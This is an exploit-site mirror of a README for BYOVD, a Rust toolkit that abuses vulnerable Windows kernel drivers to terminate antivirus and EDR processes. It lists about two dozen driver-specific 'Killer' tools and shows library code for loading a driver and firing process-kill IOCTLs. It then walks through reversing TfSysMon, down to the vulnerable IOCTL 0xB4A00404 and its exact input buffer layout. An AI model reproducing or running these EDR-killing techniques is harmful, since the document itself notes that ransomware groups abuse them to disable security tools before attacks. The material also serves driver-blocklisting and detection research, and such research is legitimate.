## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BLACKSNUFKIN-BYOVD

**BYOVD** is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.
The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.
* * *
> Since its initial discovery, the TfSysMon driver has been added to LOLDrivers and abused by ransomware groups using the **EDRKillShifter** tool, as reported by Sophos & ESET
* * *
## π Table of Contents
* π Overview
* ποΈ Project Structure
* π§ Building
* π¦ byovd-lib
* π‘ POCs
* π¬ Complete Driver Reverse Engineering Process (x64)
* π References
* β οΈ Disclaimer
## π Overview
The **BYOVD technique** has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's _Terminator_ (sold for $3,000) and the _ZeroMemoryEx Blackout_ project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.
This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.
## ποΈ Project Structure
The project is organized as a **Rust Cargo workspace**. Most PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. **`K7Terminator`, `Astra64-Killer`, `Ktapi-Killer`, and `Xhunter1-Killer` are standalone** β they have their own `[workspace]` declarations and are built directly from their own directories, not via the root workspace.
root@kitploit:~
BYOVD/
βββ Cargo.toml # Workspace root (deps + release profile)
βββ Cargo.lock
βββ README.md
βββ LICENSE
β
βββ byovd-lib/ # Shared library
β βββ Cargo.toml
β βββ src/
β βββ lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
β βββ service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
β βββ device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
β βββ handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
β βββ process.rs # find_pid_by_name / find_all_pids_by_name
β βββ monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
β βββ privilege.rs # enable_privilege / ensure_running_as_local_system
β βββ util.rs # to_wstring / to_cstring / get_current_dir
β
βββ AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
βββ Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
βββ BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
βββ CcProtect-Killer/ # CnCrypt CcProtect
βββ EnPortv-Killer/ # EnCase EnPortv
βββ GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
βββ GoFlyDrv-Killer/ # Golink GoFlyDrv
βββ HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
βββ HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
βββ K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
βββ Ksapi64-Killer/ # Kingsoft ksapi64
βββ Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
βββ MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
βββ MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
βββ NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
βββ PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
βββ PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
βββ STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
βββ TfSysMon-Killer/ # ThreatFire sysmon
βββ UnknownKiller/ # unattributed unknown.sys
βββ Viragt64-Killer/ # Tg Soft viragt64
βββ Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
βββ Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
βββ Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Each `*-Killer/` directory contains its own `Cargo.toml`, `src/main.rs` (the `DriverConfig` impl + CLI), `README.md` (driver hashes + usage), and the matching `.sys` file the binary loads at runtime.
## π§ Building
**Prerequisites:** Rust toolchain and Visual Studio Build Tools with the Windows SDK.
root@kitploit:~
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Binaries are output to `target/release/`. Copy the corresponding `.sys` driver file into the same directory as the executable before running.
## π¦ byovd-lib
`byovd-lib` is the shared library that all PoCs (except K7Terminator) are built on. It exposes **two complementary APIs** \-- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.
### Module layout
root@kitploit:~
byovd-lib/src/
βββ lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
βββ service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
βββ device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes)
βββ handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
βββ process.rs # find_pid_by_name / find_all_pids_by_name
βββ monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
βββ privilege.rs # enable_privilege / ensure_running_as_local_system
βββ util.rs # to_wstring / to_cstring / get_current_dir
### High-level API: `DriverConfig` trait + `run()`
This is what the bundled killers use. Implement the trait, call `byovd_lib::run()`, done.
root@kitploit:~
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
`run()` does: `preflight_check` β install service (`SERVICE_DEMAND_START`) β `StartService` β kill-on-sight monitor (Ctrl+C to exit) β stop + delete service.
Optional trait overrides with their defaults:
### Low-level API: imperative pieces
When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.
**Driver lifecycle** \-- `ByovdDriver`:
root@kitploit:~
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK
let device = driver.open_device()?; // returns DeviceHandle
// ... send IOCTLs ...
driver.stop_and_delete()?;
**IOCTL dispatch** \-- `DeviceHandle` exposes five typed shapes:
The typed forms remove the manual `to_ne_bytes()` / `extend_from_slice()` boilerplate when the IOCTL takes a struct (e.g. `{ pid: u32, padding: [u8; 20] }`).
**Process lookup** \-- `find_pid_by_name(name)` (first match) and `find_all_pids_by_name(name)` (all matches, excludes system PIDs β€ 4).
**Custom monitor loop** \-- `run_monitor_loop(name, interval, |pid| ...)` takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).
**Privileges** \-- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` for drivers that require explicit token privileges. `ensure_running_as_local_system()` returns an error if the process is not running as `S-1-5-18`.
**Handle wrappers** \-- `WinHandle` (auto-`CloseHandle`) and `ScHandle` (auto-`CloseServiceHandle`) are `Send + Sync` and can be moved across threads.
### Example: attach to an already-loaded driver, no service lifecycle
This is what `UnknownKiller --attach` does -- skip SCM entirely, just open the device and fire the IOCTL once:
root@kitploit:~
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
### Back-compat aliases
`FileHandle` / `ServiceHandle` still resolve to `WinHandle` / `ScHandle`, and `get_pid_by_name` is kept as an alias for `find_pid_by_name`, so older code referencing those names keeps compiling.
## π‘ POCs
Below are the drivers and their respective PoCs available in this repository:
* **AppRemover-Killer** : Targets `ardrv.sys` from `OPSWAT AppRemover`.
* **Astra64-Killer** : Targets `astra64.sys` from `EnTech Taiwan` (Astra32 / TVicHW) -- standalone data-only Shadow SSDT hijack EDR killer.
* **BdApiUtil-Killer** : Targets `BdApiUtil64.sys` from `Baidu AntiVirus` (CVE-2024-51324).
* **CcProtect-Killer** : Targets `CcProtect.sys` from `CnCrypt`.
* **EnPortv-Killer** : Targets `EnPortv.sys` from `Guidance EnCase`.
## π¬ Complete Driver Reverse Engineering Process (x64)
This section demonstrates the complete A-Z reverse engineering methodology using the TfSysMon driver as a practical example. This process applies to any x64 Windows kernel driver analysis.
## π― Step 0: Pre-Analysis - Function Import Screening
Check driver imports before starting reverse engineering.
A basic process killer driver requires 2 things:
a way to get a handle on a process (for instance **ZwOpenProcess** or **NtOpenProcess**)
a way to terminate the process (for instance **ZwTerminateProcess** or **NtTerminateProcess**)
Check if a driver imports both function types. If a driver has in its imported functions Nt/ZwOpenProcess AND Nt/ZwTerminateProcess then it's a potential process killer driver candidate.
Only after confirming these imports should you proceed to detailed reverse engineering in IDA Pro.
### π οΈ Prerequisites for x64 Driver Analysis
**Required Tools:**
* **IDA Pro** \- for disassembling the driver for static analysis
* **OSRLoader** \- for loading/running the driver (alternative to sc.exe command)
### π Step 1: Locate and Analyze DriverEntry
**Every Windows driver starts with DriverEntry - find this function first:**
In TfSysMon, the DriverEntry looks like this:
root@kitploit:~
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = BugCheckParameter2;
if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL )
{
v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL;
if ( !v2 )
v2 = 0x2B992DDFA232LL;
BugCheckParameter2 = v2;
}
BugCheckParameter3 = ~v2;
return sub_17484(DriverObject);
}
**Analysis Notes:**
* The code performs some initialization with BugCheckParameter2 and BugCheckParameter3
* The real driver initialization happens in `sub_17484`
* Follow the call to `sub_17484(DriverObject)` \- this is where actual driver setup occurs
### π Step 2: Follow Driver Initialization Chain
**Navigate to the initialization function (`sub_17484`):**
root@kitploit:~
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
**Key Reverse Engineering Findings:**
* **Device Name** : `\\Device\\TfSysMon` (kernel space)
* **Symbolic Link** : `\\DosDevices\\TfSysMon` (user-mode accessible as `\\.\\TfSysMon`)
* **Device Type** : `0x22` = FILE_DEVICE_UNKNOWN
* **IRP Handler** : All major functions point to `sub_17694`
* **Target Function** : MajorFunction[14] = IRP_MJ_DEVICE_CONTROL handler
### π Step 3: Analyze the IRP Dispatch Function
**Navigate to the dispatch function (`sub_17694`):**
root@kitploit:~
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject )
{
v4 = -1073741790;
goto LABEL_20;
}
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
v4 = 0;
if ( !CurrentStackLocation->MajorFunction )
{
// Handle IRP_MJ_CREATE
}
else if ( CurrentStackLocation->MajorFunction == 2 )
{
// Handle IRP_MJ_CLOSE
}
else if ( CurrentStackLocation->MajorFunction <= 0xDu )
{
goto LABEL_7;
}
else if ( CurrentStackLocation->MajorFunction <= 0xFu )
{
v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER
goto LABEL_20;
}
// ... rest of function
}
**Reverse Engineering Analysis:**
* Device validation occurs first (`if ( a1 != DeviceObject )`)
* `CurrentStackLocation->MajorFunction` determines the operation type
* **CRITICAL** : MajorFunction values 14 (0xE) and 15 (0xF) call `sub_177D8`
* MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL processing
* The vulnerable code path is: **IOCTL request β sub_177D8**
### π Step 4: Reverse Engineer the IOCTL Handler
**Navigate to the IOCTL processing function (`sub_177D8`):**
root@kitploit:~
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
**Critical Reverse Engineering Discoveries:**
* **IOCTL Extraction** : `v7 = *(_DWORD *)(a2 + 24)` gets the IOCTL code from IO_STACK_LOCATION
* **Input Buffer** : `Irp->AssociatedIrp.MasterIrp` contains user data
* **Buffer Length** : `v9 = *(unsigned int *)(a2 + 16)` gets input buffer size
* **Vulnerable IOCTL** : `0xB4A00404` leads to `sub_1837C`
* **Size Check** : Only validates buffer β₯ 0x18 (24 bytes) - minimal validation!
### π Step 5: Analyze the Vulnerable Function
**Navigate to the process termination function (`sub_1837C`):**
root@kitploit:~
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0;
if ( MmIsAddressValid((PVOID)a1) )
{
v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4
v4 = 0;
if ( !v3 )
return 3221225485LL;
memset(&ObjectAttributes.RootDirectory, 0, 20);
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
ClientId.UniqueThread = 0;
ObjectAttributes.Length = 48;
ClientId.UniqueProcess = v3; // SET TARGET PID
while ( 1 )
{
v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
v7 = v6 < 0;
v2 = v6;
if ( !v6 )
break;
v8 = v4++;
if ( v8 >= 3 )
{
v7 = v6 < 0;
break;
}
}
if ( !v7 )
{
v9 = 0;
do
{
v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS
if ( !v2 )
break;
v10 = v9++;
}
while ( v10 < 3 );
ZwClose(ProcessHandle);
}
}
return v2;
}
**Function Analysis:**
* **Input Structure** : From the driver code analysis, we determined the buffer layout where PID is at offset +4
* **Input Parsing** : `v3 = *(void **)(a1 + 4)` extracts PID from input buffer at offset +4
* **Process Opening** : `ZwOpenProcess` with minimal access rights (1u = PROCESS_TERMINATE)
* **No Security Checks** : No validation of caller privileges or target process protection
* **Process Termination** : Direct call to `ZwTerminateProcess`
* **Retry Logic** : Multiple attempts for both opening and termination
* **Any Process** : Can terminate any process accessible to SYSTEM account
### π Step 6: Map the Complete Attack Chain
**Complete Reverse Engineering Flow:**
1. **Entry Point** : User calls `DeviceIoControl` on `\\.\\TfSysMon`
2. **IRP Creation** : I/O Manager creates IRP with MajorFunction = 14
3. **Dispatch** : `sub_17694` routes to `sub_177D8` for IOCTL processing
4. **IOCTL Check** : `sub_177D8` validates IOCTL code `0xB4A00404` and buffer size β₯ 24 bytes
5. **Execution** : Calls `sub_1837C` with user input buffer
6. **Termination** : `sub_1837C` extracts PID from offset +4 and terminates process via `ZwTerminateProcess`
**Input Buffer Structure (from driver reverse engineering):**
root@kitploit:~
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
> This methodology demonstrates how to systematically reverse engineer any Windows x64 kernel driver to identify similar vulnerabilities by following the execution path from user-mode communication through to dangerous kernel operations.
## Support πΊ
If BYOVD helped your red team operations, consider buying me a beer:

## π References
* **Alice Climent-Pommeret's Blog** : Finding and Exploiting Process Killer Drivers with LOL for $3000
* **LOLDrivers** : A Central Repository of Known Vulnerable Drivers
* **Microsoft Driver Block Rules** : Microsoft's Recommended Driver Block Rules
* **Windows Kernel Programming** by Pavel Yosifovich
* **Windows Internals, Part 1 & 2** by Mark E. Russinovich, Alex Ionescu, David Solomon
## β οΈ Disclaimer
**The BYOVD Project** is for **educational and research purposes only**. The author is not responsible for any misuse or damage caused by these programs. Always seek explicit permission before using these tools on any system.